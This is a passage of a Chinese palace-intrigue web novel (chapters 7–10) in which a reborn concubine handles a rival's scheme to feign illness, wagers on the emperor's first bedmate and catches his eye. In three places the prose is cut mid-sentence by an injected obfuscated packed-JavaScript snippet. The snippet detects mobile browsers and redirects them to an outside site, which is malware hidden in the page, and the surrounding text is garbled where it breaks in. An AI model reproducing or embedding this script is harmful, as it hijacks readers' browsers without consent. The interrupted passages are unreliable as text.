那位姓温的小主许是流年不利,一大早才被嘉妃刁难,后脚却又受了惊,被那血淋淋的场面一吓,昏了整整一日才醒。嘉妃正好抓住她这个把柄,称温常在体弱不宜侍寝,叫尚寝局撤了温昭昭的绿头签。 颂兰端着碗进来时,便瞧见温昭昭正倚在枕上,盯着帐顶的垂落的紫红流苏发呆。水葱似的指甲掐进锦被里,不知心里在想着什么。 “听闻姐姐醒了,我便赶紧过来瞧瞧。”颂兰放下羹盏,瓷质小勺磕着碗沿发出叮当轻响,“姐姐用些红枣羹吧。太医说了,枣补气血,于姐姐恢复有利。” 末等宫嫔,没有家世和宠爱撑腰,便是要喝些份例外的甜汤都得到尚宫局好一番打点。温昭昭接过那圆润的瓷碗,眼泪像断了线的珠子般簌簌垂落。 颂兰忙安抚似的去握温昭昭冰冷的手。那素白的柔荑凉得像数九寒天的一块冰。窗外飘起淅淅沥沥的春雨,温昭昭胸膛起伏片刻,终是好似下定了什么决心般,一把反攥住了颂兰的手腕。 “妹妹,我这病不能好……” 7. 避宠 颂兰眉心一跳,只别开脸淡淡道: “姐姐说笑了。你年轻体健,此番受惊不过小病,又有宫中御医调养,不日便会痊愈的。” 温昭昭深吸一口气,苦涩道:“不过入宫两日,便招来如此多忌惮。如今还未侍寝,嘉妃便已视我为眼中钉,若往后承了宠,我怕……” 若非她有意穿了宝蓝色与嘉妃撞衫,嘉妃怎犯得着去同她一个小小常在争风吃醋。颂兰不禁腹诽,温昭昭果然还是那般白莲做派。 “姐姐或许不必冒险,嘉妃娘娘已命尚仪局撤了姐姐的绿头牌了。” 温昭昭一愣,大约是没想到嘉妃会如此恨她,不禁脱口而出:“我不过无心冒犯,她竟如此赶尽杀绝。” 前世嘉妃罚温昭昭跪在景阳宫门口,可不过前后脚太后就到了景阳宫,亲自让温昭昭起来不说,还斥责嘉妃小题大做、有失贤德。嘉妃虽恼恨,矛头却主要对准了“落她面子”的太后。至于温昭昭,她倒还真没放进眼里,转头就忘了。 而温昭昭顺理成章地“受惊过度”装病避宠,做了众人眼中病如西子备受欺凌的小白花,白赚了好一把同情分。 而这一世因着端午夏祭之事,嘉妃与太后握手言和,自然有了余力来对付“逃过一劫”的温昭昭。 至于温昭昭后续生病也好,作妖也罢,都与她萧元姝没有干系。 毕竟她没有实打实地做什么,自个儿敏感多思,身子不争气,也别怪她落井下石,多踩几脚。 顺手的事。 颂兰伸手轻轻掖了掖温昭昭身上锦被的被角,凝声道: “姐姐可知昨日那冷宫疯妃是何人?” 温昭昭张了张口,却半晌没有说出话来。她自然是不知道的——她在床上昏了整整一天半,刚刚醒转,此刻脑子亦是混沌一片。 “那是先帝亲封的睦贵嫔。睦贵嫔出身寒微,却因美貌获宠,直上青云。若非家世有限,恐怕四妃之位亦是其掌中之物。” 见温昭昭面色惊疑不定,颂兰缓声继续道:“睦贵嫔性情乖张,仗着先皇宠爱在后宫中结怨颇多。后来她怀孕小产,小月子中言语冒犯了当时出身萧氏的琳妃。 “恰逢先帝出宫祭祀,琳妃代皇贵妃摄六宫事,当即便罚她在夹道受刑三日,待先帝回宫后,事已成定局……她如今的情形,姐姐也看到了。” 颂兰的声音仍柔柔的,说出来的话却字字叫人心惊,“这不单是条活生生的人命,甚至还是先帝爷的宠妃——可萧贵太妃,如今可还好好地在寿康宫颐养天年呢。 “有宠尚且如此,何况无宠。宫中人情炎凉,姐姐当真要铤而走险吗?” 许是想起了昨日的凶险情形,温昭昭手一抖,那一碗温热的红枣桂圆汤泼在鹅黄锦被上,洇开一团深红似血泪的污渍。温昭昭低着头,不知在想些什么。 睦贵嫔的死将会是一剂最好的猛药。一个足够让皇帝能够注意到她们,又能完美祸水东引的“意外”。 良久,她抬起头。 因着昏了几日,温昭昭口唇泛着不健康的白,双眼中布满红血丝,端着甜汤的那只手微微颤抖着——这一切的反应,皆被颂兰尽收眼底。 而温昭昭好似下定了某种决心般,咬牙道: “妹妹,我不能得宠……” …… 在延禧宫养了三日,颂兰便道身子已基本无恙,挪回了钟粹宫。 太医来把过平安脉,说她已基本无虞,只不过那日昏倒时跌在地上,还有几处皮外伤,再将养数日,便可大好了。 颂兰笑道:“多谢祝大人。”又吩咐霜降:“去取片金叶子来赏祝太医。” 选侍份例微薄,一个月到手不过八两银子。祝太医常年行走内廷,对此了如指掌。此番蕙选侍一出手就是一片金叶,祝太医忙拱手推辞道: “为小主调养身体本是下官的分内事,怎敢收小主的礼呢。” 颂兰微笑,“不过一点心意罢了,另外,实是我还有一事相求。” 听闻此言,祝太医停了推辞的动作,却也没立刻去接那赏银,只谨慎道: “小主请说。微臣学艺不精,若能效力,不敢不尽心。” “我这有一个家传的养身方子,家中长辈一向吃着。不过到底出自民间,如今我得了入宫的体面,便想劳烦祝大人替我掌掌眼。若真是好方子,我便让婢子也去抓了来服,往后给家人用也放心些。” 见只是这点小事,祝太医松了口气。这蕙小主显然是个识得做的,一番措辞滴水不漏,即便往后真生什么事端,想必也无从查起。 便松了口道:“小主不妨将那方子拿来,让微臣一观。” 身后霜降递上来一张折起的纸片。祝太医将方子展开,上边墨痕尚新,想来是才誊的。祝太医细细看了,见上头只是人参、当归等常用的温补药材,当即道: “回小主,此方补性平和,并无不妥。只其中一味五味子,适量用可安神补气,切忌不可多服。您若想按此方调理身体,到太医院抓药时叫当值的御医斟酌用量即可。” “那我便放心了,多谢祝太医。” 祝太医这才接过那枚金叶子,拱手告辞。霜降好奇道: “小主,不过是帮忙看个方子,您出手怎的如此阔绰。” 颂兰屏退屋内众人,方对霜降道:“数日前我在延禧宫,同温小主曾有一叙。温小主将我引为闺中莫逆,托付了一桩棘手的事给我。” 她芊芊玉指划过那张散发着墨香的药方,“嘉妃跋扈,她先被体罚,又撞见那番血腥,一时间被吓破了胆,犯了糊涂,竟想到了……装病避宠。” 霜降登时吓得面色雪白,仓惶道:“小主,这可是欺君的大罪!” 她心中思绪一时间千回百转,毕竟现在她们已是一条船上的蚂蚱,一损俱损,她可真怕自家主子也错了主意。 又蹙眉道:“此般大不敬的秘事,自是知道的人越少越好,托付给一两个心腹已是极限。她怎的就这般大剌剌地告诉了小主……” 霜降欲言又止,颂兰轻笑一声,“我晓得你的意思。” 是啊,就是这么拙劣的计策,前世竟真将乔颂兰绑上了她的贼船。 “方子存到了我手上,若真有一日东窗事发,大可说推是我给的方子,其中加了害人的东西。毕竟,自己主动染病想要避宠,同受人陷害以至病弱无宠,二者哪个更易取信于人,是一目了然的。” 霜降听得心惊肉跳,“温小主莫不是与您有什么仇?这般损人不利己的事,她竟也……” 乔颂兰苦笑,重生十数日,这亦是常常盘旋在她脑海中的问题。 她与温昭昭无冤无仇,非亲非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319008|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故,温昭昭何至于就恨她至此,独独挑中了她做那个祭天的倒霉蛋呢? 压下心中思绪,她垂眸道:“放心。我略懂些医术,已将她给我的方子改成了温补无害的调养方子,方才也让祝太医看过,留了人证。往后她在延禧宫称病,只要有太医来把过脉,必然瞧出端倪。” “小主心有成算,奴婢佩服。” 颂兰将那张方子随手折起,安桂袖着手从外边进来,恭敬道:“小主,这几日各宫主子娘娘们送来的礼都已存在库房,登记造册了。因着前些日子您在病中,奴才们不敢拿这些俗务打扰您,如今您大好了,可要将那礼单过目一遍?” “你与霜降都对过无误便好。其中摆件、首饰类的,都尽量寻些门路去换成金银。” 大约是没见过她这么俗的小主,安桂愣了愣,忙应答道:“奴才遵旨。另外,嘉妃娘娘宫里特意送来了几品血燕,说是娘娘体恤您身子弱,特意送来给您养身的。” “温小主的延禧宫可有?” “素心姑姑来时特意说了,这是独一份的好东西,只有咱们宫里有。” 这嘉妃,赏人也好似赏巴掌。这招并不高明的“离间计”,倘若她和温昭昭当真是情比金兰,真不晓得要平生多少猜疑。 好在对于此时的乔颂兰来说,这份诛心的上品燕窝,却是正中下怀。 她扬声吩咐安桂:“给延禧宫的温小主送些去,务必要让她晓得,这是嘉妃娘娘的手笔。” 嘉妃此人性情莽撞,又向来眼高于顶,行事比起德妃少了几分狠辣,活脱脱一个高配版的梁常在,不过胜在有一家子能行军打仗的父兄,和一张貌比杨妃的娇艳容颜。 那日她因着一点小事就要随意责罚嫔妃,可回了趟咸福宫,再次粉墨登场时,竟能搬出那样一套连消带打、借力打力的连环计…… 颂兰在脑中细细回想着前世嘉妃的一举一动。萧元姝若要养个替自己鞍前马后的“军师”,自然是同住咸福宫最为方便。奈何萧元姝本性善妒,待同宫的妃嫔素来刻薄,是满宫出名的。 可若不是咸福宫里的人,那日情况紧急,她是怎样在那般仓促间,就和那个隐在幕后的“高人”定下了那般妙计呢? 颂兰呷了口温温的香片茶,吩咐霜降道:“往后几日,你叫小卓子留心打听,看咸福宫的宫人爱同哪个宫来往,或者咸福宫内,有没有特别得脸的宫女太监。此事不急,叫他切记小心谨慎,宁可徐徐图之,也莫要露了把柄。” …… 当晚,尚仪局终于传来消息:陛下有意挑选新入宫的小主伺候。 消息来时不过傍晚,主殿的梁常在便喜滋滋地开始梳洗打扮、沐浴焚香,一时要热水,一时又要玫瑰味的香胰子,闹得钟粹宫鸡飞狗跳,就差把“翘首以盼”四个字刻在脑门上。 金乌西沉,天光愈发昏暗,暮霞如血,将大地染得一片金红。今日是罕见的火烧云——是个难得一见的吉兆。颂兰倚在窗边,听着外边笑笑闹闹的人声,又翻了一页手中的书册。 霜降点了灯进来,轻轻放在案头,“小主好心境。” “左右今日不会点我侍寝,将自己熏成个香球,也进不了仪元殿。” “奴婢方才路过下人们休息的伍房,好几个宫的宫女太监们都凑在一块儿,押今晚陛下会翻谁的牌子呢。” 8. 头筹 “你可有押宝的小主?” “奴婢愚钝,不曾参与宫人们的博戏。不过下人们多押给了徐贵人。” 徐贵人出身东海望族,其先辈由太祖皇帝亲封荣国公,赐丹书铁券,世代袭爵,是正儿八经的勋贵世家。到徐音若这一代,族中亦有骁勇良将,徐音若的大伯徐虎领骁骑大将军之职,统帅徐家军,与萧氏分庭抗礼,时称“南萧北徐”。 至于徐贵人本人则是个规矩的女子,有着高门世族培养出来的端庄仪态,容貌秀丽,眉眼间透着将门虎女的飒爽英气,人却并不张扬。 颂兰闲闲打个呵欠,对霜降道:“你拿一袋银锭子,叫小卓子去押容才人。” 霜降眉心一跳,却见小主不曾抬眸,只对着灯专注读着手上的书卷。 是夜,小卓子兴冲冲抱着一大包碎银子回来,“小主,您真神了!尚寝局传来消息,今夜真是蓬莱阁卸灯!” 小卓子带去的荷包装得盆满钵满,不仅如此,还倒赚了个扁扁的绣袋回来。非叫颂兰把浣花坞的人都叫齐,宫门关得严严实实,这才在桌子上摊开了他赢回来的彩头。 “这银子是一包,小主且看这一袋。”小卓子喜得满面红光,小心翼翼地将那只扁扁的绣花荷包晃了一晃,“这一包可不得了哩!” 说着,他便将那钱袋子里的战利品倒在桌上,众人皆惊呼道—— “金子!” 甚至还有一颗做工精良的金瓜子!而余下的虽说只是些散碎的金,也足够叫大伙真情实意地开心了。 小卓子笑得牙不见眼,又掏出些珠花、扇坠等玩意儿,“有些小宫女打赌输的,送给几位姐姐玩。” 霜降道:“就你一天到晚油嘴滑舌,最会讨姐姐们欢心。” 小卓子嘿然一笑,“奴才可是个榆木脑袋,还得是小主英明,奴才沾小主的光。” 素儿掌不住笑,用手点着小卓子脑门:“小主您瞧,简直是个猴儿!” 众人笑作一团,颂兰亦不免被眼前温馨的场景感染,露出重生后第一个真切的笑来。 暖色灯火下,美人笑意盈盈,“既是喜事,左右今晚咱们是闲人,安桂带着银子到膳房讨些零嘴来,大伙吃点甜的,一块儿热闹热闹。” 浣花坞的宫女们都是年轻姑娘,年纪最大的霜降也不过二十有余。听闻有甜食吃,众人更是喜气洋洋。莲儿和心儿手脚麻利地擦干净桌子,又抱了只花瓶出来,从院子里剪了几枝红艳艳的山茶花插上。 心儿打着灯笼,着意挑了开得饱满的花儿,可抱进正厅一瞧,仍不免有些蜷曲焦黄、虫蛀缺口之处,不由得叹了句: “花儿是好花,可尚寝局分到咱们这的,总归有些不美。” 她年岁小,一向只是想到什么说什么。素儿立刻去捂她的嘴,道: “高兴的日子,说这些丧气的做什么,没得扰了小主的兴致。” 颂兰倒不以为意,莲儿是个主意多的,有心岔开话题,便提议道:“左右等着也是无聊,咱们不如拿了这些扇坠儿当彩头藏钩玩。” 众人皆说好,便分为两组,以颂兰为“飞鸟”,传递起筹码来。 才玩了两轮,安桂带着食盒子回来了: “今儿大家都沾小主的光,饱饱口福。” 便在桌子上排开一碟碟糕饼:翠玉豆糕、荷花酥、牛乳糕、蜂蜜软糖…… 颂兰笑道:“都快吃吧,难道吃个点心还要得我的令不成。” 心儿年纪最小,盯着一块块散发着甜蜜芬芳的点心,眼睛都直了,当即欢呼一声,“谢小主赏。” 几人都挑了自个儿喜欢的点心来吃。颂兰正拿起一块翠玉豆糕,小卓子却从外头着急忙慌地进来,“小主,皇上到了钟粹宫外边,说是要进来瞧瞧您。” 李徴一进来,便觉一阵糕点的甜香扑鼻。他甚至花了一会儿才想起来给她封的是什么位分:选侍。 那时德妃将拟好的位册递给他,他不过大致扫了一眼,便又交还回去。 养仪殿殿选的匆匆一面,那名单上的八个名字对他来说甚至没能留下一个稀薄的印象:这上头的人被纳进来,一半人是为了维系前朝关系,一半人是拉进来制衡高门妃嫔的民间女子。 他不是重色之人,对内廷,他亦当作一件公务来办。慕容德妃是他的得力助手,为他打理内院诸事,又担待年幼的中宫,三年来亦算得上尽心。 李徴道:“若太后亦无异议,便按此来办吧。” 在他面前,德妃办事一贯是很妥帖的,“陛下,其中有一位乔氏,尚仪局的钱嬷嬷特意向臣妾举荐,说她‘蕙质兰心’。正巧她闺名里又犯一‘兰’字,臣妾便拟了‘蕙’字给这位妹妹做封号,您瞧着可还妥当吗。” 乔?李徴不由得多想了想—— 是真的记不清了。或许她不过是比旁的秀女略白一些,便被他指了进来,留入宫中。 而今日亦是一时兴起——已经到了该选新人侍寝的日子,而这件“公务”的人选,李徴心中业已早有答案。 可陪皇后用完晚膳,轿辇路过钟粹宫时,不知怎的就想到了那日在延禧宫问话时的惊鸿一瞥。她的确生得格外白,冰姿玉骨,比之出身京城北地的女子,要格外娇弱些。 李徴略略更偏爱南方的婉约佳丽,这是他不足为外人道的小癖好。 兴之所至,来便来了。他已是这天下最尊贵的人,做任何事情,他都有近乎绝对的自由。 于是踏入宫门时,便看到她正与宫人藏阄玩。花前彄戏巧争新①,大约是玩得尽兴,她脸上有些微微泛红,韶颜稚齿,粉面含春,端的是副天真清纯的情态;映着桌上数朵红茶,花儿已然开至盛极,便有了些荼靡之态,不比她眼下那粒朱砂小痣,红得更有万般风情。 见他进来,慌忙带着一屋子人呼啦啦地蹲下行礼道:“嫔妾给皇上请安,皇上万福金安。” 她大概是个面皮很薄的女子,不过是请个安的工夫,她一张俏脸已是艳若桃李,“嫔妾……嫔妾不知您要来,有失远迎,还望皇上恕罪。” “朕未曾提前通传,你又何罪之有。”李徴扫了一眼桌面,上头女儿家的络字、珠花、扇坠、点心……林林总总,满桌狼藉。 “朕路过此地,想起你曾病过。今日一见,既能如此开怀嬉戏,想来该是大好了。” 此刻想要藏已是来不及。乔颂兰双颊红得快要滴血,“陛下惯会取笑嫔妾。不过是些闺阁里的游戏罢了,陛下非礼勿视呢。” 李徴不由得想说点浑话,可到底明烛高照,眼前这个小女子更是将头埋得愈发低,恨不得要卧起来当个抱蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319009|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鹌鹑。再羞她一羞,只怕她要当场钻进地里。 他余光一扫,却倏地瞥见桌角上一本看了一半的书卷。纸页已经泛黄,是宫中藏书阁的藏卷。 他视力一向很好,一眼便看出那是《史记》,正读到《苏秦列传》的开头。上书: “……夫燕之所以不犯寇被甲兵者,以赵之为蔽其南也。秦赵五战,秦再胜而赵三胜。秦赵相毙,而王以全燕制其后,此燕之所以不犯寇也。②” 李徴眸色微深。 那日听到德妃说“蕙质兰心”,他只一笑而过;可如今看来,这个名不见经传的蕙选侍,倒是远比他想的更有意思。 …… 漏夜,仪元殿。 容才人早已完成沐浴熏香,坐在榻上,恭候着皇帝,亦是她此生的夫君临幸。 正如给她的位分“才人”,容月在京中才名远扬。她父亲容子声任检察院御史一职,乃是出名的直臣。容家一向以清流自居,容月亦是清傲性子,总想着要嫁与这世间一等的男子,方配得上她的风骨。 而皇帝,自然也算是某种意义上的“一等”。今上文韬武略,龙章凤姿,那日殿选遥遥一见,容月便已芳心暗许,将满腔少女情思,皆寄托给了这个注定要与她度过下半生的男子。 她觉得她是幸运的,嫁作天家妾,总好过错付给外头的轻薄儿郎。 而今陛下竟在八位新美中独独点了她头寝,容月只觉得这梦简直美得不似真实。她既不太信自己能脱颖而出,却又冥冥中觉得这是必然—— 毕竟她素有才名,在闺中时便有一堆官家女子捧着她,将她誉为“京中第一才女”。 陛下或许,亦是爱才之人。这才人位分,亦是与她相宜的。 思及此处,容月不禁露出一个羞赧的笑—— 可她在仪元殿等到深夜,皇帝才匆匆前来。她强撑着精神,又巴巴儿等着皇帝沐浴梳洗完毕,二人一齐躺到榻上。 床/笫之礼,尚寝局的嬷嬷亦单独教过每位小主。容月紧闭着眼,浑身因为紧张绷直到有些僵硬。她期待着书中那些香/艳/刺/激的场景,可半晌未感觉皇上有任何动作。容月悄悄掀开眼皮—— 却发现陛下已和衣而眠,紧挨着她睡熟了。 次日晨起时,陛下已经走了。 容月有些说不清道不明的失落——或许她也有些想做那长使君王不早朝的妖妃,可骨子里的清高却不许她付诸于行。 仪元殿的嬷嬷前来替她更衣,和颜道:“陛下体恤您昨夜伺候辛苦,今日特意嘱咐了奴婢们,叫您睡够了再起来。” 容月只得勉强一笑。昨夜哪有什么“伺候”。整个仪元殿的宫女太监全都心知肚明,不过皆不戳破罢了。否则,元帕不见落红,她哪还能好端端地站在这里? “陛下昨夜案牍劳形,今日还要早早上朝,我不能为陛下分忧,实在惭愧。” 嬷嬷脸上露出个有些惊奇的微笑,其中好似有些讽刺,亦有些怜悯。 而她接下来的话,更让容月感觉好似被一盆冰水从头泼到脚,全身迸出透彻骨髓的寒意。 “小主说笑了。昨日是太后娘娘吩咐,陛下特意到景阳宫陪皇后娘娘用了晚膳,摆驾仪元殿时,路过钟粹宫,便去瞧了瞧里头的蕙小主,这才闲话到深夜呢。” 9. 金花 那边厢,尚不知自己已经被“惦记”上的颂兰,正在浣花坞正厅研究着一局残棋。 小卓子颠儿颠儿跑上来,喜道:“小主,奴才刚和安公公盘完了账,昨儿一共赢回来十五两四钱银,可要替您收入库房里?” 颂兰微笑道:“凡宫里伺候的,一人赏一两银。小卓子跑的腿,额外多给六钱。” 小卓子一听有赏,喜得当即跪地行了个大礼,“奴才三生有幸伺候小主,小主这般好性儿的人,来世一定能托生成菩萨仙女,奴才就变个大乌龟,驮着小主飞天渡海。” 这下连颂兰都忍俊不禁:“净说那些没影儿的事,逗我开心。” “小主若能笑上一笑,也算奴才的功德一件了。” 小卓子喜笑颜开地下去分发赏钱。霜降伺候在旁,忍不住问道:“小主,奴婢有一事不明。” “你是不是想问——我如何断定,陛下一定会点容才人的头寝呢?” 霜降道:“小主聪慧,奴婢在小主跟前,便和个水晶玻璃人儿似的,一看就透。且昨夜陛下前来看您,与您相谈甚欢,分明是……” 既要将霜降培养成心腹,有些事早早地学起来也好。颂兰素手执一颗黑棋,前方四粒白棋围守,征子不利。 她将那粒黑棋轻轻放在侧位,淡淡道: “李朝重文抑武,世家勋贵势盛,如今四方未定,是以阖宫皆以为陛下必然看重徐氏出身的徐贵人。然为君之道,在于制衡,陛下有多倚重武将世家——便有多忌惮他们手上的兵权。” 一粒黑棋堵住活眼,瞬间将棋路由征吃换为了枷吃。 “如今萧、徐二姓鼎立,成犄角之势。容才人出身清流,容家是朝中的中立之派。陛下抬举她,便是在给萧、徐两家表忠心的机会——眼下南征战事吃紧,萧家自然暂时动不得。那么徐国公为了亲侄女考虑,自然要拿出几分诚意。” 她自嘲一笑,“至于我,眼下还不过是个无宠无势的小选侍,只能依附着陛下求活。皇上就是再喜欢,也不过如同阿猫阿狗般,想逗就逗,想扔就扔。” 皇帝爱棋,她的棋艺亦是前世李徴手把手教的。她学艺不精,棋路却与他如出一辙: 黑子再次落下,一招“送佛归殿”,便将白棋活口堵塞。 兵不血刃,以缓征破局,是为伐谋。 而若想扭转颓势,唯有以身入局,让自己成为一粒好用的棋子。 …… 是日,容才人被晋为贵人的旨意晓谕六宫。 按祖制,妃嫔头次侍寝后皆会晋封。不过容才人得破例连跳两级,众人皆道她颇得圣心,一时间太微宫蓬莱阁门庭若市,好不热闹。 获封乃是喜事,按常理,六宫皆要给受封的小主贺喜送礼。 颂兰只吩咐了安桂按例送些常规的物件去。反正想要巴结容贵人的不在少数,她一个小选侍,也送不出什么贵重之物。 除了初入宫的那日,往后不逢初一、十五,是不必到皇后宫中见礼的。颂兰闲来无事,赖在宫里研究残局,不觉便过了大半日。抬头一瞧,窗外竟已是暮色了。 才一抬头,便感到腰颈一阵酸痛,颂兰便随口吩咐素儿:“将窗子打开些,透透气吧。” 莲儿忙将那三交六椀菱花窗子支起来,一阵清风吹进,却是小卓子同素儿在院里交谈,那声音顺着窗缝飘进了厅内: “方才安公公不是去给容贵人送礼么,怎的回来时脸色那般难看?” 小卓子啐了一口,压低声音道:“容小主宫里的桐君不知犯什么晦气,对别宫的人都笑脸相迎,轮到安公公上去,倒横挑鼻子竖挑眼的,一下说那料子颜色不好,又说那首饰花瓶不上档次。” 莲儿咋舌,“送礼不就是送个场面么,都说吃人嘴短,自古以来,没听说过拿人的还要打人脸的道理!” 小卓子愤然道:“可不是么!桐君那张嘴可厉害得紧,不只排揎安公公,话里话外都点着小主,说咱们送的尽是些拿不上台面的物什,连带着小主也是个上不得台面的……” 这话愈说愈露骨,素儿已是脸色尽变。霜降伺候在旁,扬声道: “可都当好你们的差了么?没得在外头嚼舌,教小主听到这些不干不净的话。” 外头霎时没了声音,只有轻风拂过院中植的桂花树,发出簌簌轻响。 不一会儿,却是安桂垂着手进来,一见颂兰,便告罪道: “奴才办事不力,请小主责罚。” 颂兰道:“你一向是个稳重的,既教你都怒形于色,想必是受了委屈。” 安桂忙道:“奴才为小主做事,不敢称委屈。不过今日桐君姑娘态度有异,奴才私心里想着,许和容贵人的意思脱不了干系。” 容月此人,颂兰倒也了解她的性子。清高狷介,但空有才名,是个没什么脑子的人。前世她虽拔得头筹,往后却圣眷平平,并未翻出什么风浪来。 颂兰以手支颐,难道是昨夜皇帝路过时来瞧了她一眼,便被容月视作了情敌? 她在心中轻嗤一声:欺软怕硬,宫中四妃,哪个不比颂兰宠眷优渥。蓬莱阁的婢女怎的不敢给嘉妃的宫女摆脸色看,只一味盯着浣花坞的宫人欺负。 颂兰俯身亲自将安桂扶起,和颜道: “宫内拜高踩低,我如今势弱,你们跟着我,难免要受些闲气。但往后我若得势,必让你讨回今日这口气来。” 安桂感动道:“能得小主这句话,奴才便是再没有怨言了。” 小卓子亦带着莲儿进来,双双跪道:“奴婢们多嘴多舌,没得扰了小主心情,请小主责罚。” 颂兰道:“你们替我抱不平,又何罪之有呢。不过往后这些话,出了宫一律不许再说。宫中有人的地方便有耳朵、有喉舌,言多必失,没得叫人抓了把柄。” 二人愧道:“奴才/奴婢省得了。” 几人正说着,庭院中却喧闹起来。素儿推开窗户去瞧,却是梁常在带着宫人呼啦啦跪了一地。 尚仪局负责彤史的卢女官是个眉目严肃的女子,身穿墨青色直缀褂子,显得古板刻薄。此番来传口谕,轻装简行,只携着一枚圆脸宫婢在后侍奉。 卢女官道:“今夜钟粹宫卸灯,还请小主早些准备着。” 她身后的婢子便向前一步,将一个做工精致的果篮递给绿珠:“奴婢尚寝局掌苑花月,奉张公公之命,特带了些时令瓜果给小主品尝。” 张公公乃事御前首领太监,他的意思,自然也就是陛下的意思了。 梁常在自入了宫便接连吃瘪,本已有了些颓废之相。如今乍然闻喜,满面皆是不可置信之色,没料到皇上居然不选出身、位分皆高贵于她的徐音若,却赏了她第二个侍寝的脸面。一时间喜不自胜,叩首行了大礼,谢恩道: “嫔妾接旨!谢陛下!谢公公!” 又叫贴身伺候的红玉塞了个沉甸甸的大金元宝给卢女官。卢女官将那金元捏在手里,并不推辞,却也并不掂分量,只自然地袖在手中,颔首道: “小主客气了,奴婢告退。” 霜降道:“没想到梁小主是个有福气的。” 颂兰只望着梁常在那欢欢喜喜的背影,轻声道:“从前姨娘常教我‘傻人有傻福’,说的便许是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319010|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁氏这样的人。” 梁芳玉前世见罪于太后,自然也受了皇帝的冷落。 这一世颂兰有意拉她一把,便是想看看她是不是个能立起来的—— 梁氏出身豪富,却轻狂蠢笨,易于把控。想来皇帝也是看中了她这一点,有心想试试这颗棋是否趁手。 正如前世颂兰是挡在温昭昭身前的活靶子。梁常在与她同住钟粹宫,若梁氏势盛,便能成为颂兰蛰伏期最好的挡箭牌。 …… 一朝得势,梁常在又恢复了往日那雄赳赳气昂昂的神采。先在宫里大张旗鼓地梳妆打扮,恨不能将自己堆成个金玉满堂。 她随着来接宫嫔侍寝的春恩车离开时,身上那浓郁的香粉气味顺着夜风悠然飘远,几乎要将整个钟粹宫都熏成个花园—— 是茉莉花香。 这是宫中最低等的香粉,想来以梁常在的脾性,怕是在闺中时都不稀得用。 然而她如今屈居常在之位,便只能用、只配用这样的味道。 春恩车的车辙声辘辘远去,后宫中独守空房的女子,又不知有多少人要辗转反侧,寤寐难眠了。 左右自己是个清闲的,颂兰照例点灯读着书,却进来个面生的宫女,拿出一只样式质朴的小匣子,福一福身,道: “小主,奴婢是西配殿伺候胡美人的芸香。我家小主平日里无事便爱调弄些香料,前些日子照着古方调了一品‘君心笑兰’香。因念着同您的封号相合,便叫奴婢送来给小主。” 古方中的“君心笑兰”香,需以冷玉兰花、丁香融进蜂蜡里,再以麝香为合香,并加豆蔻、沉香、北苑茶、郁金,历经种种炮制而得,手续费时不说,用料名贵,远不是胡氏一个小小美人可以负担得起。 颂兰一时不敢接那匣子,只推拒道:“此物名贵,我无功怎敢受禄呢。” 芸香微笑道:“小主说了,本是打发时间的小玩意儿,权给您用着玩。您若喜欢,小主便再调些拿来,也不费事的。” 说罢,将那匣子轻轻放在小几子上,正欲行礼告退,却听得浣花坞宫门口传来些许嘈杂之声,随后便是一道沉重的脚步,一步一步地往内殿来。 因着胡美人早已失宠,钟粹宫往日并不常来外人。而今日要侍寝的梁常在已然招摇着去了,芸香不禁一愣,也向外望去。 今夜无月,唯有几粒朗星在夜空中支离地亮着。偶有风顺着窗棂支起的缝隙漏进来,搅着一丝暮春的暖意。 门外来了个抱着盆花的婢子。颂兰迎到殿门口一瞧,竟是个熟面孔:圆团脸,上头分布着细淡的五官,正如天上的几颗疏星。 花月将那盆开得鲜妍明媚的红山茶恭恭敬敬地摆在了廊下最显眼的位置,低眉道: “奴婢尚寝局掌苑花月,奉陛下口谕,特挑了花房养得最好的一盆‘十八学士’,供小主赏玩。” 颂兰忙福身道:“谢陛下恩典。” 芸香的眼神在那盆红花上轻轻一转,亦躬身道:“贺喜小主得此彩头,奴婢告退了。” 霜降封了个荷包出来递给花月,花月年纪虽幼,行事却是亦如卢女官一般的老成,只将那赏银袖进袖里,不卑不亢地谢道: “谢小主赏赐,奴婢告退。” 只离开时,仍是忍不住抬眸,望了立在宫门口年轻的宫嫔一眼—— 那盆“十八学士”隐在夜色中,只映着灯火的一侧,略微可见一点秾丽的艳色。而垂眸望着那花的女子姿容清绝,眼下一粒饱含风情的淡淡小痣,亦如今夜的月,掩在了长睫垂下的鸦影中。 须臾,颂兰勾起唇角,无声无息地笑了。 10. 玉争 次日,常在梁氏被晋为宝林。 梁宝林是满面春光回来的。还没等各宫的妃嫔前来钟粹宫贺喜,自咸福宫内却又传出一道消息: 嘉妃娘娘赏识蓬莱阁的容贵人精明能干,特吩咐:端午祭礼的巧粽一宗由她与尚食局一道儿协同安排。 